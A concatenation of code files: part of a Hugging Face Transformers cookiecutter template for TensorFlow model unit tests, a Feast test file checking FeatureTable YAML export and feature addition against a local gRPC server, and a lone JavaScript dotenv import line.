def create_and_check_causal_lm_base_model(
self, config, input_ids, token_type_ids, input_mask, sequence_labels, token_labels, choice_labels
):
config.is_decoder = True
model = TF{{cookiecutter.camelcase_modelname}}Model(config=config)
inputs = {"input_ids": input_ids, "attention_mask": input_mask, "token_type_ids": token_type_ids}
result = model(inputs)
inputs = [input_ids, input_mask]
result = model(inputs)
result = model(input_ids)
self.parent.assertEqual(result.last_hidden_state.shape, (self.batch_size, self.seq_length, self.hidden_size))
def create_and_check_model_as_decoder(
self,
config,
input_ids,
token_type_ids,
input_mask,
sequence_labels,
token_labels,
choice_labels,
encoder_hidden_states,
encoder_attention_mask,
):
config.add_cross_attention = True
model = TF{{cookiecutter.camelcase_modelname}}Model(config=config)
inputs = {
"input_ids": input_ids,
"attention_mask": input_mask,
"token_type_ids": token_type_ids,
"encoder_hidden_states": encoder_hidden_states,
"encoder_attention_mask": encoder_attention_mask,
}
result = model(inputs)
inputs = [input_ids, input_mask]
result = model(inputs, token_type_ids=token_type_ids, encoder_hidden_states=encoder_hidden_states)
# Also check the case where encoder outputs are not passed
result = model(input_ids, attention_mask=input_mask, token_type_ids=token_type_ids)
self.parent.assertEqual(result.last_hidden_state.shape, (self.batch_size, self.seq_length, self.hidden_size))
def create_and_check_causal_lm_model(
self, config, input_ids, token_type_ids, input_mask, sequence_labels, token_labels, choice_labels
):
config.is_decoder = True
model = TF{{cookiecutter.camelcase_modelname}}ForCausalLM(config=config)
inputs = {
"input_ids": input_ids,
"attention_mask": input_mask,
"token_type_ids": token_type_ids,
}
prediction_scores = model(inputs)["logits"]
self.parent.assertListEqual(
list(prediction_scores.numpy().shape), [self.batch_size, self.seq_length, self.vocab_size]
)
def create_and_check_causal_lm_model_as_decoder(
self,
config,
input_ids,
token_type_ids,
input_mask,
sequence_labels,
token_labels,
choice_labels,
encoder_hidden_states,
encoder_attention_mask,
):
config.add_cross_attention = True
model = TF{{cookiecutter.camelcase_modelname}}ForCausalLM(config=config)
inputs = {
"input_ids": input_ids,
"attention_mask": input_mask,
"token_type_ids": token_type_ids,
"encoder_hidden_states": encoder_hidden_states,
"encoder_attention_mask": encoder_attention_mask,
}
result = model(inputs)
inputs = [input_ids, input_mask]
result = model(inputs, token_type_ids=token_type_ids, encoder_hidden_states=encoder_hidden_states)
prediction_scores = result["logits"]
self.parent.assertListEqual(
list(prediction_scores.numpy().shape), [self.batch_size, self.seq_length, self.vocab_size]
)
def create_and_check_causal_lm_model_past(
self,
config,
input_ids,
token_type_ids,
input_mask,
sequence_labels,
token_labels,
choice_labels,
):
config.is_decoder = True
model = TF{{cookiecutter.camelcase_modelname}}ForCausalLM(config=config)
# first forward pass
outputs = model(input_ids, use_cache=True)
outputs_use_cache_conf = model(input_ids)
outputs_no_past = model(input_ids, use_cache=False)
self.parent.assertTrue(len(outputs) == len(outputs_use_cache_conf))
self.parent.assertTrue(len(outputs) == len(outputs_no_past) + 1)
past_key_values = outputs.past_key_values
# create hypothetical next token and extent to next_input_ids
next_tokens = ids_tensor((self.batch_size, 1), config.vocab_size)
# append to next input_ids and attn_mask
next_input_ids = tf.concat([input_ids, next_tokens], axis=-1)
output_from_no_past = model(next_input_ids, output_hidden_states=True).hidden_states[0]
output_from_past = model(
next_tokens, past_key_values=past_key_values, output_hidden_states=True
).hidden_states[0]
# select random slice
random_slice_idx = int(ids_tensor((1,), output_from_past.shape[-1]))
output_from_no_past_slice = output_from_no_past[:, -1, random_slice_idx]
output_from_past_slice = output_from_past[:, 0, random_slice_idx]
# test that outputs are equal for slice
tf.debugging.assert_near(output_from_past_slice, output_from_no_past_slice, rtol=1e-6)
def create_and_check_causal_lm_model_past_with_attn_mask(
self,
config,
input_ids,
token_type_ids,
input_mask,
sequence_labels,
token_labels,
choice_labels,
):
config.is_decoder = True
model = TF{{cookiecutter.camelcase_modelname}}ForCausalLM(config=config)
# create attention mask
half_seq_length = self.seq_length // 2
attn_mask_begin = tf.ones((self.batch_size, half_seq_length), dtype=tf.int32)
attn_mask_end = tf.zeros((self.batch_size, self.seq_length - half_seq_length), dtype=tf.int32)
attn_mask = tf.concat([attn_mask_begin, attn_mask_end], axis=1)
# first forward pass
outputs = model(input_ids, attention_mask=attn_mask, use_cache=True)
# create hypothetical next token and extent to next_input_ids
next_tokens = ids_tensor((self.batch_size, 1), config.vocab_size)
past_key_values = outputs.past_key_values
# change a random masked slice from input_ids
random_seq_idx_to_change = ids_tensor((1,), half_seq_length).numpy() + 1
random_other_next_tokens = ids_tensor((self.batch_size, self.seq_length), config.vocab_size)
vector_condition = tf.range(self.seq_length) == (self.seq_length - random_seq_idx_to_change)
condition = tf.transpose(
tf.broadcast_to(tf.expand_dims(vector_condition, -1), (self.seq_length, self.batch_size))
)
input_ids = tf.where(condition, random_other_next_tokens, input_ids)
# append to next input_ids and
next_input_ids = tf.concat([input_ids, next_tokens], axis=-1)
attn_mask = tf.concat(
[attn_mask, tf.ones((attn_mask.shape[0], 1), dtype=tf.int32)],
axis=1,
)
output_from_no_past = model(
next_input_ids,
attention_mask=attn_mask,
output_hidden_states=True,
).hidden_states[0]
output_from_past = model(
next_tokens, past_key_values=past_key_values, attention_mask=attn_mask, output_hidden_states=True
).hidden_states[0]
# select random slice
random_slice_idx = int(ids_tensor((1,), output_from_past.shape[-1]))
output_from_no_past_slice = output_from_no_past[:, -1, random_slice_idx]
output_from_past_slice = output_from_past[:, 0, random_slice_idx]
# test that outputs are equal for slice
tf.debugging.assert_near(output_from_past_slice, output_from_no_past_slice, rtol=1e-6)
def create_and_check_causal_lm_model_past_large_inputs(
self,
config,
input_ids,
token_type_ids,
input_mask,
sequence_labels,
token_labels,
choice_labels,
):
config.is_decoder = True
model = TF{{cookiecutter.camelcase_modelname}}ForCausalLM(config=config)
input_ids = input_ids[:1, :]
input_mask = input_mask[:1, :]
self.batch_size = 1
# first forward pass
outputs = model(input_ids, attention_mask=input_mask, use_cache=True)
past_key_values = outputs.past_key_values
# create hypothetical next token and extent to next_input_ids
next_tokens = ids_tensor((self.batch_size, 3), config.vocab_size)
next_attn_mask = ids_tensor((self.batch_size, 3), 2)
# append to next input_ids and
next_input_ids = tf.concat([input_ids, next_tokens], axis=-1)
next_attention_mask = tf.concat([input_mask, next_attn_mask], axis=-1)
output_from_no_past = model(
next_input_ids,
attention_mask=next_attention_mask,
output_hidden_states=True,
).hidden_states[0]
output_from_past = model(
next_tokens,
attention_mask=next_attention_mask,
past_key_values=past_key_values,
output_hidden_states=True,
).hidden_states[0]
self.parent.assertEqual(next_tokens.shape[1], output_from_past.shape[1])
# select random slice
random_slice_idx = int(ids_tensor((1,), output_from_past.shape[-1]))
output_from_no_past_slice = output_from_no_past[:, -3:, random_slice_idx]
output_from_past_slice = output_from_past[:, :, random_slice_idx]
# test that outputs are equal for slice
tf.debugging.assert_near(output_from_past_slice, output_from_no_past_slice, rtol=1e-3)
def create_and_check_decoder_model_past_large_inputs(
self,
config,
input_ids,
token_type_ids,
input_mask,
sequence_labels,
token_labels,
choice_labels,
encoder_hidden_states,
encoder_attention_mask,
):
config.add_cross_attention = True
model = TF{{cookiecutter.camelcase_modelname}}ForCausalLM(config=config)
input_ids = input_ids[:1, :]
input_mask = input_mask[:1, :]
encoder_hidden_states = encoder_hidden_states[:1, :, :]
encoder_attention_mask = encoder_attention_mask[:1, :]
self.batch_size = 1
# first forward pass
outputs = model(
input_ids,
attention_mask=input_mask,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
use_cache=True,
)
past_key_values = outputs.past_key_values
# create hypothetical next token and extent to next_input_ids
next_tokens = ids_tensor((self.batch_size, 3), config.vocab_size)
next_attn_mask = ids_tensor((self.batch_size, 3), 2)
# append to next input_ids and
next_input_ids = tf.concat([input_ids, next_tokens], axis=-1)
next_attention_mask = tf.concat([input_mask, next_attn_mask], axis=-1)
output_from_no_past = model(
next_input_ids,
attention_mask=next_attention_mask,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
output_hidden_states=True,
).hidden_states[0]
output_from_past = model(
next_tokens,
attention_mask=next_attention_mask,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
past_key_values=past_key_values,
output_hidden_states=True,
).hidden_states[0]
self.parent.assertEqual(next_tokens.shape[1], output_from_past.shape[1])
# select random slice
random_slice_idx = int(ids_tensor((1,), output_from_past.shape[-1]))
output_from_no_past_slice = output_from_no_past[:, -3:, random_slice_idx]
output_from_past_slice = output_from_past[:, :, random_slice_idx]
# test that outputs are equal for slice
tf.debugging.assert_near(output_from_past_slice, output_from_no_past_slice, rtol=1e-3)
def create_and_check_for_masked_lm(
self, config, input_ids, token_type_ids, input_mask, sequence_labels, token_labels, choice_labels
):
model = TF{{cookiecutter.camelcase_modelname}}ForMaskedLM(config=config)
inputs = {
"input_ids": input_ids,
"attention_mask": input_mask,
"token_type_ids": token_type_ids,
}
result = model(inputs)
self.parent.assertEqual(result.logits.shape, (self.batch_size, self.seq_length, self.vocab_size))
def create_and_check_for_sequence_classification(
self, config, input_ids, token_type_ids, input_mask, sequence_labels, token_labels, choice_labels
):
config.num_labels = self.num_labels
model = TF{{cookiecutter.camelcase_modelname}}ForSequenceClassification(config=config)
inputs = {
"input_ids": input_ids,
"attention_mask": input_mask,
"token_type_ids": token_type_ids,
}
result = model(inputs)
self.parent.assertEqual(result.logits.shape, (self.batch_size, self.num_labels))
def create_and_check_for_multiple_choice(
self, config, input_ids, token_type_ids, input_mask, sequence_labels, token_labels, choice_labels
):
config.num_choices = self.num_choices
model = TF{{cookiecutter.camelcase_modelname}}ForMultipleChoice(config=config)
multiple_choice_inputs_ids = tf.tile(tf.expand_dims(input_ids, 1), (1, self.num_choices, 1))
multiple_choice_input_mask = tf.tile(tf.expand_dims(input_mask, 1), (1, self.num_choices, 1))
multiple_choice_token_type_ids = tf.tile(tf.expand_dims(token_type_ids, 1), (1, self.num_choices, 1))
inputs = {
"input_ids": multiple_choice_inputs_ids,
"attention_mask": multiple_choice_input_mask,
"token_type_ids": multiple_choice_token_type_ids,
}
result = model(inputs)
self.parent.assertEqual(result.logits.shape, (self.batch_size, self.num_choices))
def create_and_check_for_token_classification(
self, config, input_ids, token_type_ids, input_mask, sequence_labels, token_labels, choice_labels
):
config.num_labels = self.num_labels
model = TF{{cookiecutter.camelcase_modelname}}ForTokenClassification(config=config)
inputs = {
"input_ids": input_ids,
"attention_mask": input_mask,
"token_type_ids": token_type_ids,
}
result = model(inputs)
self.parent.assertEqual(result.logits.shape, (self.batch_size, self.seq_length, self.num_labels))
def create_and_check_for_question_answering(
self, config, input_ids, token_type_ids, input_mask, sequence_labels, token_labels, choice_labels
):
model = TF{{cookiecutter.camelcase_modelname}}ForQuestionAnswering(config=config)
inputs = {
"input_ids": input_ids,
"attention_mask": input_mask,
"token_type_ids": token_type_ids,
}
result = model(inputs)
self.parent.assertEqual(result.start_logits.shape, (self.batch_size, self.seq_length))
self.parent.assertEqual(result.end_logits.shape, (self.batch_size, self.seq_length))
def prepare_config_and_inputs_for_common(self):
config_and_inputs = self.prepare_config_and_inputs()
(
config,
input_ids,
token_type_ids,
input_mask,
sequence_labels,
token_labels,
choice_labels,
) = config_and_inputs
inputs_dict = {"input_ids": input_ids, "token_type_ids": token_type_ids, "attention_mask": input_mask}
return config, inputs_dict
@require_tf
class TF{{cookiecutter.camelcase_modelname}}ModelTest(TFModelTesterMixin, unittest.TestCase):
all_model_classes = (
(
TF{{cookiecutter.camelcase_modelname}}Model,
TF{{cookiecutter.camelcase_modelname}}ForCausalLM,
TF{{cookiecutter.camelcase_modelname}}ForMaskedLM,
TF{{cookiecutter.camelcase_modelname}}ForQuestionAnswering,
TF{{cookiecutter.camelcase_modelname}}ForSequenceClassification,
TF{{cookiecutter.camelcase_modelname}}ForTokenClassification,
TF{{cookiecutter.camelcase_modelname}}ForMultipleChoice,
)
if is_tf_available()
else ()
)
test_head_masking = False
test_onnx = False
def setUp(self):
self.model_tester = TF{{cookiecutter.camelcase_modelname}}ModelTester(self)
self.config_tester = ConfigTester(self, config_class={{cookiecutter.camelcase_modelname}}Config, hidden_size=37)
def test_config(self):
self.config_tester.run_common_tests()
def test_model(self):
"""Test the base model"""
config_and_inputs = self.model_tester.prepare_config_and_inputs()
self.model_tester.create_and_check_model(*config_and_inputs)
def test_causal_lm_base_model(self):
"""Test the base model of the causal LM model
is_deocder=True, no cross_attention, no encoder outputs
"""
config_and_inputs = self.model_tester.prepare_config_and_inputs()
self.model_tester.create_and_check_causal_lm_base_model(*config_and_inputs)
def test_model_as_decoder(self):
"""Test the base model as a decoder (of an encoder-decoder architecture)
is_deocder=True + cross_attention + pass encoder outputs
"""
config_and_inputs = self.model_tester.prepare_config_and_inputs_for_decoder()
self.model_tester.create_and_check_model_as_decoder(*config_and_inputs)
def test_for_masked_lm(self):
config_and_inputs = self.model_tester.prepare_config_and_inputs()
self.model_tester.create_and_check_for_masked_lm(*config_and_inputs)
def test_for_causal_lm(self):
"""Test the causal LM model"""
config_and_inputs = self.model_tester.prepare_config_and_inputs()
self.model_tester.create_and_check_causal_lm_model(*config_and_inputs)
def test_causal_lm_model_as_decoder(self):
"""Test the causal LM model as a decoder"""
config_and_inputs = self.model_tester.prepare_config_and_inputs_for_decoder()
self.model_tester.create_and_check_causal_lm_model_as_decoder(*config_and_inputs)
def test_causal_lm_model_past(self):
"""Test causal LM model with `past_key_values`"""
config_and_inputs = self.model_tester.prepare_config_and_inputs()
self.model_tester.create_and_check_causal_lm_model_past(*config_and_inputs)
def test_causal_lm_model_past_with_attn_mask(self):
"""Test the causal LM model with `past_key_values` and `attention_mask`"""
config_and_inputs = self.model_tester.prepare_config_and_inputs()
self.model_tester.create_and_check_causal_lm_model_past_with_attn_mask(*config_and_inputs)
def test_causal_lm_model_past_with_large_inputs(self):
"""Test the causal LM model with `past_key_values` and a longer decoder sequence length"""
config_and_inputs = self.model_tester.prepare_config_and_inputs()
self.model_tester.create_and_check_causal_lm_model_past_large_inputs(*config_and_inputs)
def test_decoder_model_past_with_large_inputs(self):
"""Similar to `test_causal_lm_model_past_with_large_inputs` but with cross-attention"""
config_and_inputs = self.model_tester.prepare_config_and_inputs_for_decoder()
self.model_tester.create_and_check_decoder_model_past_large_inputs(*config_and_inputs)
def test_for_multiple_choice(self):
config_and_inputs = self.model_tester.prepare_config_and_inputs()
self.model_tester.create_and_check_for_multiple_choice(*config_and_inputs)
def test_for_question_answering(self):
config_and_inputs = self.model_tester.prepare_config_and_inputs()
self.model_tester.create_and_check_for_question_answering(*config_and_inputs)
def test_for_sequence_classification(self):
config_and_inputs = self.model_tester.prepare_config_and_inputs()
self.model_tester.create_and_check_for_sequence_classification(*config_and_inputs)
def test_for_token_classification(self):
config_and_inputs = self.model_tester.prepare_config_and_inputs()
self.model_tester.create_and_check_for_token_classification(*config_and_inputs)
@slow
def test_model_from_pretrained(self):
model = TF{{cookiecutter.camelcase_modelname}}Model.from_pretrained("{{cookiecutter.checkpoint_identifier}}")
self.assertIsNotNone(model)
@require_tf
class TF{{cookiecutter.camelcase_modelname}}ModelIntegrationTest(unittest.TestCase):
@slow
def test_inference_masked_lm(self):
model = TF{{cookiecutter.camelcase_modelname}}ForMaskedLM.from_pretrained("{{cookiecutter.checkpoint_identifier}}")
input_ids = tf.constant([[0, 1, 2, 3, 4, 5]])
output = model(input_ids)[0]
# TODO Replace vocab size
vocab_size = 32000
expected_shape = [1, 6, vocab_size]
self.assertEqual(output.shape, expected_shape)
print(output[:, :3, :3])
# TODO Replace values below with what was printed above.
expected_slice = tf.constant(
[
[
[-0.05243197, -0.04498899, 0.05512108],
[-0.07444685, -0.01064632, 0.04352357],
[-0.05020351, 0.05530146, 0.00700043],
]
]
)
tf.debugging.assert_near(output[:, :3, :3], expected_slice, atol=1e-4)
{% else %}
import unittest
from transformers import (
is_tf_available,
{{cookiecutter.camelcase_modelname}}Config,
{{cookiecutter.camelcase_modelname}}Tokenizer,
)
from transformers.testing_utils import require_sentencepiece, require_tf, require_tokenizers, slow
from ..test_configuration_common import ConfigTester
from ..test_modeling_tf_common import TFModelTesterMixin, ids_tensor
if is_tf_available():
import tensorflow as tf
from transformers import (
TF{{cookiecutter.camelcase_modelname}}ForConditionalGeneration,
TF{{cookiecutter.camelcase_modelname}}Model,
)
@require_tf
class TF{{cookiecutter.camelcase_modelname}}ModelTester:
config_cls = {{cookiecutter.camelcase_modelname}}Config
config_updates = {}
hidden_act = "gelu"
def __init__(
self,
parent,
batch_size=13,
seq_length=7,
is_training=True,
use_labels=False,
vocab_size=99,
hidden_size=32,
num_hidden_layers=5,
num_attention_heads=4,
intermediate_size=37,
hidden_dropout_prob=0.1,
attention_probs_dropout_prob=0.1,
max_position_embeddings=20,
eos_token_id=2,
pad_token_id=1,
bos_token_id=0,
):
self.parent = parent
self.batch_size = batch_size
self.seq_length = seq_length
self.is_training = is_training
self.use_labels = use_labels
self.vocab_size = vocab_size
self.hidden_size = hidden_size
self.num_hidden_layers = num_hidden_layers
self.num_attention_heads = num_attention_heads
self.intermediate_size = intermediate_size
self.hidden_dropout_prob = hidden_dropout_prob
self.attention_probs_dropout_prob = attention_probs_dropout_prob
self.max_position_embeddings = max_position_embeddings
self.eos_token_id = eos_token_id
self.pad_token_id = pad_token_id
self.bos_token_id = bos_token_id
def prepare_config_and_inputs_for_common(self):
input_ids = ids_tensor([self.batch_size, self.seq_length - 1], self.vocab_size)
eos_tensor = tf.expand_dims(tf.constant([self.eos_token_id] * self.batch_size), 1)
input_ids = tf.concat([input_ids, eos_tensor], axis=1)
decoder_input_ids = ids_tensor([self.batch_size, self.seq_length], self.vocab_size)
config = self.config_cls(
vocab_size=self.vocab_size,
d_model=self.hidden_size,
encoder_layers=self.num_hidden_layers,
decoder_layers=self.num_hidden_layers,
encoder_attention_heads=self.num_attention_heads,
decoder_attention_heads=self.num_attention_heads,
encoder_ffn_dim=self.intermediate_size,
decoder_ffn_dim=self.intermediate_size,
dropout=self.hidden_dropout_prob,
attention_dropout=self.attention_probs_dropout_prob,
max_position_embeddings=self.max_position_embeddings,
eos_token_ids=[2],
bos_token_id=self.bos_token_id,
pad_token_id=self.pad_token_id,
decoder_start_token_id=self.pad_token_id,
**self.config_updates,
)
inputs_dict = prepare_{{cookiecutter.lowercase_modelname}}_inputs_dict(config, input_ids, decoder_input_ids)
return config, inputs_dict
def check_decoder_model_past_large_inputs(self, config, inputs_dict):
model = TF{{cookiecutter.camelcase_modelname}}Model(config=config).get_decoder()
input_ids = inputs_dict["input_ids"]
input_ids = input_ids[:1, :]
attention_mask = inputs_dict["attention_mask"][:1, :]
self.batch_size = 1
# first forward pass
outputs = model(input_ids, attention_mask=attention_mask, use_cache=True)
output, past_key_values = outputs.to_tuple()
past_key_values = past_key_values[1]
# create hypothetical next token and extent to next_input_ids
next_tokens = ids_tensor((self.batch_size, 3), config.vocab_size)
next_attn_mask = ids_tensor((self.batch_size, 3), 2)
# append to next input_ids and
next_input_ids = tf.concat([input_ids, next_tokens], axis=-1)
next_attention_mask = tf.concat([attention_mask, next_attn_mask], axis=-1)
output_from_no_past = model(next_input_ids, attention_mask=next_attention_mask)[0]
output_from_past = model(next_tokens, attention_mask=next_attention_mask, past_key_values=past_key_values)[0]
self.parent.assertEqual(next_tokens.shape[1], output_from_past.shape[1])
# select random slice
random_slice_idx = int(ids_tensor((1,), output_from_past.shape[-1]))
output_from_no_past_slice = output_from_no_past[:, -3:, random_slice_idx]
output_from_past_slice = output_from_past[:, :, random_slice_idx]
# test that outputs are equal for slice
tf.debugging.assert_near(output_from_past_slice, output_from_no_past_slice, rtol=1e-3)
def prepare_{{cookiecutter.lowercase_modelname}}_inputs_dict(
config,
input_ids,
decoder_input_ids,
attention_mask=None,
decoder_attention_mask=None,
):
if attention_mask is None:
attention_mask = tf.cast(tf.math.not_equal(input_ids, config.pad_token_id), tf.int32)
if decoder_attention_mask is None:
decoder_attention_mask = tf.concat([tf.ones(decoder_input_ids[:, :1].shape, dtype=tf.int32), tf.cast(tf.math.not_equal(decoder_input_ids[:, 1:], config.pad_token_id), tf.int32)], axis=-1)
return {
"input_ids": input_ids,
"decoder_input_ids": decoder_input_ids,
"attention_mask": attention_mask,
"decoder_attention_mask": decoder_attention_mask,
}
@require_tf
class TF{{cookiecutter.camelcase_modelname}}ModelTest(TFModelTesterMixin, unittest.TestCase):
all_model_classes = (TF{{cookiecutter.camelcase_modelname}}ForConditionalGeneration, TF{{cookiecutter.camelcase_modelname}}Model) if is_tf_available() else ()
all_generative_model_classes = (TF{{cookiecutter.camelcase_modelname}}ForConditionalGeneration,) if is_tf_available() else ()
is_encoder_decoder = True
test_pruning = False
test_head_masking = False
test_onnx = False
def setUp(self):
self.model_tester = TF{{cookiecutter.camelcase_modelname}}ModelTester(self)
self.config_tester = ConfigTester(self, config_class={{cookiecutter.camelcase_modelname}}Config)
def test_config(self):
self.config_tester.run_common_tests()
def test_decoder_model_past_large_inputs(self):
config_and_inputs = self.model_tester.prepare_config_and_inputs_for_common()
self.model_tester.check_decoder_model_past_large_inputs(*config_and_inputs)
def test_model_common_attributes(self):
config, inputs_dict = self.model_tester.prepare_config_and_inputs_for_common()
for model_class in self.all_model_classes:
model = model_class(config)
assert isinstance(model.get_input_embeddings(), tf.keras.layers.Layer)
if model_class in self.all_generative_model_classes:
x = model.get_output_embeddings()
assert isinstance(x, tf.keras.layers.Layer)
name = model.get_bias()
assert isinstance(name, dict)
for k, v in name.items():
assert isinstance(v, tf.Variable)
else:
x = model.get_output_embeddings()
assert x is None
name = model.get_bias()
assert name is None
def test_resize_token_embeddings(self):
config, inputs_dict = self.model_tester.prepare_config_and_inputs_for_common()
def _get_word_embedding_weight(model, embedding_layer):
if hasattr(embedding_layer, "weight"):
return embedding_layer.weight
else:
# Here we build the word embeddings weights if not exists.
# And then we retry to get the attribute once built.
model(model.dummy_inputs)
if hasattr(embedding_layer, "weight"):
return embedding_layer.weight
else:
return None
for model_class in self.all_model_classes:
for size in [config.vocab_size - 10, config.vocab_size + 10, None]:
# build the embeddings
model = model_class(config=config)
old_input_embeddings = _get_word_embedding_weight(model, model.get_input_embeddings())
old_output_embeddings = _get_word_embedding_weight(model, model.get_output_embeddings())
old_final_logits_bias = model.get_bias()
# reshape the embeddings
model.resize_token_embeddings(size)
new_input_embeddings = _get_word_embedding_weight(model, model.get_input_embeddings())
new_output_embeddings = _get_word_embedding_weight(model, model.get_output_embeddings())
new_final_logits_bias = model.get_bias()
# check that the resized embeddings size matches the desired size.
assert_size = size if size is not None else config.vocab_size
self.assertEqual(new_input_embeddings.shape[0], assert_size)
# check that weights remain the same after resizing
models_equal = True
for p1, p2 in zip(old_input_embeddings.value(), new_input_embeddings.value()):
if tf.math.reduce_sum(tf.math.abs(p1 - p2)) > 0:
models_equal = False
self.assertTrue(models_equal)
if old_output_embeddings is not None and new_output_embeddings is not None:
self.assertEqual(new_output_embeddings.shape[0], assert_size)
models_equal = True
for p1, p2 in zip(old_output_embeddings.value(), new_output_embeddings.value()):
if tf.math.reduce_sum(tf.math.abs(p1 - p2)) > 0:
models_equal = False
self.assertTrue(models_equal)
if old_final_logits_bias is not None and new_final_logits_bias is not None:
old_final_logits_bias = old_final_logits_bias["final_logits_bias"]
new_final_logits_bias = new_final_logits_bias["final_logits_bias"]
self.assertEqual(new_final_logits_bias.shape[0], 1)
self.assertEqual(new_final_logits_bias.shape[1], assert_size)
models_equal = True
for old, new in zip(old_final_logits_bias.value(), new_final_logits_bias.value()):
for p1, p2 in zip(old, new):
if tf.math.reduce_sum(tf.math.abs(p1 - p2)) > 0:
models_equal = False
self.assertTrue(models_equal)
def _assert_tensors_equal(a, b, atol=1e-12, prefix=""):
"""If tensors not close, or a and b arent both tensors, raise a nice Assertion error."""
if a is None and b is None:
return True
try:
if tf.debugging.assert_near(a, b, atol=atol):
return True
raise
except Exception:
if len(prefix) > 0:
prefix = f"{prefix}: "
raise AssertionError(f"{prefix}{a} != {b}")
def _long_tensor(tok_lst):
return tf.constant(tok_lst, dtype=tf.int32)
TOLERANCE = 1e-4
@slow
@require_sentencepiece
@require_tokenizers
@require_tf
class TF{{cookiecutter.camelcase_modelname}}ModelIntegrationTest(unittest.TestCase):
def test_inference_no_head(self):
model = TF{{cookiecutter.camelcase_modelname}}Model.from_pretrained('{{cookiecutter.checkpoint_identifier}}')
# change to intended input here
input_ids = _long_tensor([[0, 31414, 232, 328, 740, 1140, 12695, 69, 46078, 1588, 2]])
decoder_input_ids = _long_tensor([[0, 31414, 232, 328, 740, 1140, 12695, 69, 46078, 1588, 2]])
inputs_dict = prepare_{{cookiecutter.lowercase_modelname}}_inputs_dict(model.config, input_ids, decoder_input_ids)
output = model(**inputs_dict)[0]
expected_shape = (1, 11, 1024)
self.assertEqual(output.shape, expected_shape)
# change to expected output here
expected_slice = tf.Tensor(
[[0.7144, 0.8143, -1.2813], [0.7144, 0.8143, -1.2813], [-0.0467, 2.5911, -2.1845]],
)
tf.debugging.assert_near(output[:, :3, :3], expected_slice, atol=TOLERANCE)
def test_inference_with_head(self):
model = TF{{cookiecutter.camelcase_modelname}}ForConditionalGeneration.from_pretrained('{{cookiecutter.checkpoint_identifier}}')
# change to intended input here
input_ids = _long_tensor([[0, 31414, 232, 328, 740, 1140, 12695, 69, 46078, 1588, 2]])
decoder_input_ids = _long_tensor([[0, 31414, 232, 328, 740, 1140, 12695, 69, 46078, 1588, 2]])
inputs_dict = prepare_{{cookiecutter.lowercase_modelname}}_inputs_dict(model.config, input_ids, decoder_input_ids)
output = model(**inputs_dict)[0]
expected_shape = (1, 11, 1024)
self.assertEqual(output.shape, expected_shape)
# change to expected output here
expected_slice = tf.Tensor(
[[0.7144, 0.8143, -1.2813], [0.7144, 0.8143, -1.2813], [-0.0467, 2.5911, -2.1845]],
)
tf.debugging.assert_near(output[:, :3, :3], expected_slice, atol=TOLERANCE)
def test_seq_to_seq_generation(self):
hf = TF{{cookiecutter.camelcase_modelname}}ForConditionalGeneration.from_pretrained('{{cookiecutter.checkpoint_identifier}}')
tok = {{cookiecutter.camelcase_modelname}}Tokenizer.from_pretrained('{{cookiecutter.checkpoint_identifier}}')
batch_input = [
# string 1,
# string 2,
# string 3,
# string 4,
]
# The below article tests that we don't add any hypotheses outside of the top n_beams
dct = tok.batch_encode_plus(
batch_input,
max_length=512,
padding="max_length",
truncation_strategy="only_first",
truncation=True,
return_tensors="tf",
)
hypotheses_batch = hf.generate(
input_ids=dct["input_ids"],
attention_mask=dct["attention_mask"],
num_beams=2,
)
EXPECTED = [
# here expected 1,
# here expected 2,
# here expected 3,
# here expected 4,
]
generated = tok.batch_decode(
hypotheses_batch.tolist(), clean_up_tokenization_spaces=True, skip_special_tokens=True
)
assert generated == EXPECTED
{%- endif %}
|
# Copyright 2020 The Feast Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import socket
from concurrent import futures
from contextlib import closing
import grpc
import pytest
from feast.client import Client
from feast.core import CoreService_pb2_grpc as Core
from feast.data_format import ParquetFormat, ProtoFormat
from feast.data_source import FileSource, KafkaSource
from feast.feature import Feature
from feast.feature_table import FeatureTable
from feast.value_type import ValueType
from feast_core_server import CoreServicer
def find_free_port():
with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:
s.bind(("", 0))
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
return s.getsockname()[1]
free_port = find_free_port()
class TestFeatureTable:
@pytest.fixture(scope="function")
def server(self):
server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))
Core.add_CoreServiceServicer_to_server(CoreServicer(), server)
server.add_insecure_port(f"[::]:{free_port}")
server.start()
yield server
server.stop(0)
@pytest.fixture
def client(self, server):
return Client(core_url=f"localhost:{free_port}")
@pytest.fixture
def batch_source(self):
return FileSource(
field_mapping={
"ride_distance": "ride_distance",
"ride_duration": "ride_duration",
},
file_format=ParquetFormat(),
file_url="file://feast/*",
event_timestamp_column="ts_col",
created_timestamp_column="timestamp",
date_partition_column="date_partition_col",
)
def test_feature_table_import_export_yaml(self, batch_source):
stream_source = KafkaSource(
field_mapping={
"ride_distance": "ride_distance",
"ride_duration": "ride_duration",
},
bootstrap_servers="localhost:9094",
message_format=ProtoFormat(class_path="class.path"),
topic="test_topic",
event_timestamp_column="ts_col",
)
test_feature_table = FeatureTable(
name="car_driver",
features=[
Feature(name="ride_distance", dtype=ValueType.FLOAT),
Feature(name="ride_duration", dtype=ValueType.STRING),
],
entities=["car_driver_entity"],
labels={"team": "matchmaking"},
batch_source=batch_source,
stream_source=stream_source,
)
# Create a string YAML representation of the feature table
string_yaml = test_feature_table.to_yaml()
# Create a new feature table object from the YAML string
actual_feature_table_from_string = FeatureTable.from_yaml(string_yaml)
# Ensure equality is upheld to original feature table
assert test_feature_table == actual_feature_table_from_string
def test_add_feature(self, batch_source):
test_feature_table = FeatureTable(
name="car_driver",
features=[
Feature(name="ride_distance", dtype=ValueType.FLOAT),
Feature(name="ride_duration", dtype=ValueType.STRING),
],
entities=["car_driver_entity"],
labels={"team": "matchmaking"},
batch_source=batch_source,
)
test_feature_table.add_feature(
Feature(name="new_ride_distance", dtype=ValueType.FLOAT)
)
features = test_feature_table.features
assert (
len(features) == 3
and features[0].name == "ride_distance"
and features[1].name == "ride_duration"
and features[2].name == "new_ride_distance"
)
|
import dotenv from "dotenv";
